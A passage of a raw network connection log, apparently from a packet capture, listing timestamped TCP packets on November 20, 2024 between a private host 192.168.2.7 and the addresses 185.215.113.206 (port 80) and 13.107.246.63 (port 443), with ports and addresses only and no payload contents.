Nov 20, 2024 23:12:28.591244936 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.592197895 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.592279911 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.592330933 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.593307972 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.593466997 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.593523026 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.594424963 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.594474077 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.594517946 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.594563961 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.595534086 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.595586061 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.595623970 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.595668077 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.596666098 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.596716881 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.596760988 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.596805096 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.597763062 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.597809076 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.597903967 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.597981930 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.598881960 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.598937035 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.598942995 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.598989010 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.600054979 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.600105047 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.600177050 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.600229025 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.601129055 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.601181984 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.604913950 CET	443	49720	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.605370998 CET	49720	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:28.605407000 CET	443	49720	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.605809927 CET	49720	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:28.605819941 CET	443	49720	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.641156912 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.641261101 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.641264915 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.641311884 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.641696930 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.641758919 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.641861916 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.641913891 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.642479897 CET	443	49716	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.642573118 CET	443	49716	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.642638922 CET	49716	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:28.642776012 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.642827988 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.642904043 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.642957926 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.643848896 CET	49716	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:28.643866062 CET	443	49716	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.643877983 CET	49716	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:28.643882990 CET	443	49716	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.643954992 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.644005060 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.644011974 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.644061089 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.645035028 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.645102978 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.645123959 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.645174980 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.646181107 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.646217108 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.646241903 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.646269083 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.647264957 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.647345066 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.647391081 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.647440910 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.648402929 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.648456097 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.648524046 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.648572922 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.649585009 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.649621010 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.649646044 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.649661064 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.650691986 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.650747061 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.650846004 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.650892019 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.651766062 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.651818991 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.651870012 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.651921988 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.652867079 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.652955055 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.653075933 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.653131008 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.653661966 CET	49721	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:28.653721094 CET	443	49721	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.653786898 CET	49721	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:28.654021978 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.654086113 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.654145956 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.654200077 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.655103922 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.655154943 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.655221939 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.655271053 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.656224966 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.656280041 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.656284094 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.656328917 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.657346010 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.657398939 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.657480001 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.657527924 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.658500910 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.658548117 CET	49721	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:28.658554077 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.658586025 CET	443	49721	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.658632994 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.658699036 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.712563992 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.712583065 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.712661982 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.713315964 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.713367939 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.713489056 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.713536978 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.714180946 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.714287043 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.714317083 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.714364052 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.715337992 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.715400934 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.715435028 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.715508938 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.717233896 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.717247009 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.717293978 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.717538118 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.717588902 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.717670918 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.717720032 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.718676090 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.718736887 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.718756914 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.718811989 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.719779968 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.719830036 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.719870090 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.719921112 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.720890999 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.720942974 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.720985889 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.721033096 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.722029924 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.722080946 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.722146988 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.722192049 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.723171949 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.723221064 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.723326921 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.723380089 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.727608919 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.727659941 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.727669001 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.727694035 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.727706909 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.727725029 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.727740049 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.727767944 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.727773905 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.727819920 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.727905989 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.727957964 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.728236914 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.728267908 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.728290081 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.728305101 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.728760004 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.728815079 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.728888988 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.728974104 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.729851961 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.729904890 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.729967117 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.730015039 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.731281042 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.731338978 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.731395960 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.731448889 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.732136011 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.732194901 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.732264996 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.732321024 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.733294964 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.733350992 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.733402967 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.733453035 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.784918070 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.785011053 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.785037041 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.785088062 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.785402060 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.785459995 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.785625935 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.785684109 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.785756111 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.785830021 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.786737919 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.786799908 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.786866903 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.786936998 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.787869930 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.787941933 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.788005114 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.788069010 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.788995028 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.789055109 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.789102077 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.789158106 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.790107965 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.790278912 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.790287018 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.790339947 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.791238070 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.791306019 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.791383028 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.791440010 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.792356968 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.792411089 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.792489052 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.792541981 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.793459892 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.793553114 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.793596029 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.793652058 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.794584036 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.794639111 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.794676065 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.794730902 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.795696020 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.795761108 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.795819998 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.795876980 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.796854019 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.796905041 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.797247887 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.797297955 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.797930002 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.797985077 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.798059940 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.798141003 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.799055099 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.799110889 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.799179077 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.799232006 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.800211906 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.800271034 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.800309896 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.800362110 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.801321983 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.801397085 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.801481962 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.801534891 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.802426100 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.802484989 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.816137075 CET	443	49717	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.816221952 CET	443	49717	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.816278934 CET	49717	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:28.816437960 CET	49717	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:28.816456079 CET	443	49717	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.816464901 CET	49717	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:28.816471100 CET	443	49717	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.818958998 CET	49722	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:28.819017887 CET	443	49722	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.819093943 CET	49722	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:28.819226980 CET	49722	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:28.819241047 CET	443	49722	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.842338085 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.842376947 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.842464924 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.842606068 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.842660904 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.842708111 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.843044996 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.843683004 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.843725920 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.843790054 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.843832970 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.844818115 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.844872952 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.844955921 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.844999075 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.845941067 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.845993042 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.846045017 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.846086025 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.847057104 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.847111940 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.847225904 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.847285032 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.848175049 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.848228931 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.848237991 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.848297119 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.849304914 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.849328995 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.849366903 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.849385023 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.850398064 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.850450993 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.850517988 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.850560904 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.851564884 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.851612091 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.851622105 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.851664066 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.852683067 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.852725983 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.852735043 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.852773905 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.853775978 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.853827953 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.853843927 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.853883982 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.854892969 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.854943037 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.855046034 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.855082989 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.856018066 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.856061935 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.856149912 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.856189966 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.857155085 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.857193947 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.857287884 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.857325077 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.858278036 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.858319044 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.858411074 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.858504057 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.859556913 CET	80	49710	185.215.113.206	192.168.2.7
